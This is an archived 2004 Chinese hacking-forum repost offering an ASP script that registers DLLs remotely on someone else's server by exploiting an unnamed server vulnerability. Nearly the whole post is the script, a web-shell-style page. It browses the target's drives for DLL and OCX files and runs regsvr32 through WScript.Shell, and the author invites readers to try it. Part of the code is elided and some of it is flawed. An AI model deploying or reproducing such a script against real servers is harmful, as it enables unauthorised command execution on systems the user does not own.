邪恶八进制信息安全团队技术讨论组's Archiver

冰血封情 2004-10-28 10:48

[转载]利用对方服务器漏洞远程注册DLL的脚本

信息来源:黑基
   
 我和朋友一起下载了一个相同的组件,苦于无法注册而没用,但最近我发现他在使用这个组件,显然是已经注册了,好奇怪,他是怎么注册的呢?我问他他不说。

其实,我们在ASP中,是有捷径远程注册DLL的,但需要对方服务器漏洞的"配合"(什么漏洞?我可什么都没说啊,自己看)。试试下面的代码,或许侥幸成功呢:
<% Response.Buffer = True %>
<% Server.ScriptTimeout = 500
Dim frmFolderPath, frmFilePath

frmFolderPath = Request.Form("frmFolderPath")
frmFilePath = Request.Form("frmDllPath")
frmMethod = Request.Form("frmMethod")
btnREG = Request.Form("btnREG")
%>

<HTML>
<HEAD>
  <TITLE>精彩春风之远程注册DLL</TITLE>
  <STYLE TYPE="TEXT/CSS">
  .Legend {FONT-FAMILY: veranda; FONT-SIZE: 14px; FONT-WEIGHT: bold; COLOR: blue}
  .FS {FONT-FAMILY: veranda; FONT-SIZE: 12px; BORDER-WIDTH: 4px; BORDER-COLOR: green;
   MARGIN-LEFT:2px; MARGIN-RIGHT:2px}
  TD {MARGIN-LEFT:6px; MARGIN-RIGHT:6px; PADDING-LEFT:12px; PADDING-RIGHT:12px}
  </STYLE>
</HEAD>

<BODY>
<FORM NAME="regForm" METHOD="POST">
<TABLE BORDER=0 CELLSPACING=6 CELLPADDING=6 MARGINWIDTH=6>
<TR>
  <TD VALIGN=TOP>
  <FIELDSET ID=FS1 NAME=FS1 CLASS=FS>
  <LEGEND CLASS=Legend>注册DLL</LEGEND>
  敲入到DLL目录的路径

  <INPUT TYPE=TEXT NAME="frmFolderPath" VALUE="<%=frmFolderPath%>">

  <INPUT TYPE=SUBMIT NAME=btnFileList VALUE="创建文件列表">

<%
IF Request.Form("btnFileList") <> "" OR btnREG <> "" Then
   Set RegisterFiles = New clsRegister
    RegisterFiles.EchoB("Select File")
    Call RegisterFiles.init(frmFolderPath)
    RegisterFiles.EchoB("
<INPUT TYPE=SUBMIT NAME=btnREG VALUE=" & Chr(34) _
& "REG/UNREG" & Chr(34) & ">")
   IF Request.Form("btnREG") <> "" Then
    Call RegisterFiles.Register(frmFilePath, frmMethod)
   End IF
   Set RegisterFiles = Nothing
  End IF
%>
  </FIELDSET>
  </TD>
</TR>
</TABLE>
</FORM>
</BODY>
</HTML>
<%
Class clsRegister

Private m_oFS

Public Property Let oFS(objOFS)
m_oFS = objOFS
End Property
......
Sub init(strRoot) &#39;Root to Search (c:, d:, e:)
Dim oDrive, oRootDir
IF oFS.FolderExists(strRoot) Then
IF Len(strRoot) < 3 Then &#39;Must Be a Drive
Set oDrive = oFS.GetDrive(strRoot)
Set oRootDir = oDrive.RootFolder
Else
Set oRootDir = oFS.GetFolder(strRoot)
End IF
Else
EchoB("噢,文件夹( " & strRoot & " )没找到!")
    Exit Sub
   End IF
   setRoot = oRootDir
   
   Echo("<SELECT NAME=" & Chr(34) & "frmDllPath" & Chr(34) & ">")
    Call getAllDlls(oRootDir)
   EchoB("</SELECT>")
   BuildOptions
  End Sub
  
  Sub getAllDlls(oParentFolder)
  Dim oSubFolders, oFile, oFiles
   Set oSubFolders = oParentFolder.SubFolders
   Set opFiles = oParentFolder.Files
   
   For Each oFile in opFiles
    IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then
      Echo("<OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & ">" _
      & oFile.Name & "</Option>")
    End IF
   Next
   
   On Error Resume Next
   For Each oFolder In oSubFolders &#39;Iterate All Folders in Drive
    Set oFiles = oFolder.Files
    For Each oFile in oFiles
      IF Right(lCase(oFile.Name), 4) = ".dll" OR Right(lCase(oFile.Name), 4) = ".ocx" Then
       Echo("<OPTION VALUE=" & Chr(34) & oFile.Path & Chr(34) & ">" _
       & oFile.Name & "</Option>")
      End IF
    Next
    Call getAllDlls(oFolder)
   Next
   On Error GoTo 0
  End Sub

  Sub Register(strFilePath, regMethod)
  Dim theFile, strFile, oShell, exitcode
   Set theFile = oFS.GetFile(strFilePath)
   strFile = theFile.Path

   Set oShell = CreateObject ("WScript.Shell")

   IF regMethod = "REG" Then &#39;Register
    oShell.Run "c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False
    exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /s " & strFile, 0, False)
     EchoB("regsvr32.exe exitcode = " & exitcode)
   Else &#39;unRegister
    oShell.Run "c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False
    exitcode = oShell.Run("c:\WINNT\system32\regsvr32.exe /u/s " & strFile, 0, False)
     EchoB("regsvr32.exe exitcode = " & exitcode)
   End IF
   
   Cleanup oShell
  End Sub
  
  Sub BuildOptions
   EchoB("Register: <INPUT TYPE=RADIO NAME=frmMethod VALUE=REG CHECKED>")
   EchoB("unRegister: <INPUT TYPE=RADIO NAME=frmMethod VALUE=UNREG>")
  End Sub
  
  Function Echo(str)
   Echo = Response.Write(str & vbCrLf)
  End Function
  
  Function EchoB(str)
   EchoB = Response.Write(str & "
" & vbCrLf)
  End Function
  
  Sub Cleanup(obj)
   If isObject(obj) Then
    Set obj = Nothing
   End IF
  End Sub
  
  Sub Class_Terminate()
   Cleanup oFS
  End Sub
End Class
%>

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